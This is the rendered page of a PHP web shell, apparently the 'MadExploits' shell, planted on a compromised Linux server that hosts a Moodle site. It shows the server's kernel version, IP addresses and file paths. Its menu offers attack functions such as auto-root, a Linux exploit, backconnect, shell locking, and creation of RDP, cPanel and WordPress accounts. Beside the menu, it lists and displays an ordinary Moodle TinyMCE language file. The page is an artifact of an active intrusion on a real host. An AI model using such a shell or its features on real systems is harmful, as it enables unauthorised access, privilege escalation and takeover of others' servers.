Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.27
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
lib /
editor /
tinymce /
[ HOME SHELL ]
Name
Size
Permission
Action
classes
[ DIR ]
drwxr-xr-x
cli
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
tiny_mce
[ DIR ]
drwxr-xr-x
adminlib.php
7.9
KB
-rw-r--r--
all_strings.php
3.43
KB
-rw-r--r--
lib.php
9.79
KB
-rw-r--r--
module.js
5.94
KB
-rw-r--r--
readme_moodle.txt
1.54
KB
-rw-r--r--
settings.php
3.06
KB
-rw-r--r--
styles.css
514
B
-rw-r--r--
subplugins.php
2.08
KB
-rw-r--r--
thirdpartylibs.xml
231
B
-rw-r--r--
upgrade.txt
1001
B
-rw-r--r--
version.php
1.17
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : all_strings.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * On-the-fly conversion of Moodle lang strings to TinyMCE expected JS format. * * @package editor_tinymce * @copyright 2009 Petr Skoda (http://skodak.org) * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ define('NO_MOODLE_COOKIES', true); define('NO_UPGRADE_CHECK', true); require('../../../config.php'); require_once("$CFG->dirroot/lib/jslib.php"); require_once("$CFG->dirroot/lib/configonlylib.php"); $lang = optional_param('elanguage', 'en', PARAM_SAFEDIR); $rev = optional_param('rev', -1, PARAM_INT); $PAGE->set_context(context_system::instance()); $PAGE->set_url('/lib/editor/tinymce/extra/strings.php'); if (!get_string_manager()->translation_exists($lang, false)) { $lang = 'en'; $rev = -1; // Do not cache missing langs. } $candidate = "$CFG->cachedir/editor_tinymce/$rev/$lang.js"; $etag = sha1("$lang/$rev"); if ($rev > -1 and file_exists($candidate)) { if (!empty($_SERVER['HTTP_IF_NONE_MATCH']) || !empty($_SERVER['HTTP_IF_MODIFIED_SINCE'])) { // we do not actually need to verify the etag value because our files // never change in cache because we increment the rev parameter js_send_unmodified(filemtime($candidate), $etag); } js_send_cached($candidate, $etag, 'all_strings.php'); } $string = get_string_manager()->load_component_strings('editor_tinymce', $lang); // Process the $strings to match expected tinymce lang array structure. $result = array(); foreach ($string as $key=>$value) { $parts = explode(':', $key); if (count($parts) != 2) { // Ignore non-TinyMCE strings. continue; } $result[$parts[0]][$parts[1]] = $value; } // Add subplugin strings, accept only those with proper pluginname prefix with colon. foreach (core_component::get_plugin_list('tinymce') as $component => $ignored) { $componentstrings = get_string_manager()->load_component_strings( 'tinymce_' . $component, $lang); foreach ($componentstrings as $key => $value) { if (strpos($key, "$component:") !== 0 and strpos($key, $component.'_dlg:') !== 0) { // Ignore normal lang strings. continue; } $parts = explode(':', $key); if (count($parts) != 2) { // Ignore malformed strings with more colons. continue; } $component = $parts[0]; $string = $parts[1]; $result[$component][$string] = $value; } } $output = 'tinyMCE.addI18n({'.$lang.':'.json_encode($result).'});'; if ($rev > -1) { js_write_cache_file_content($candidate, $output); // verify nothing failed in cache file creation clearstatcache(); if (file_exists($candidate)) { js_send_cached($candidate, $etag, 'all_strings.php'); } } js_send_uncached($output, 'all_strings.php');
Close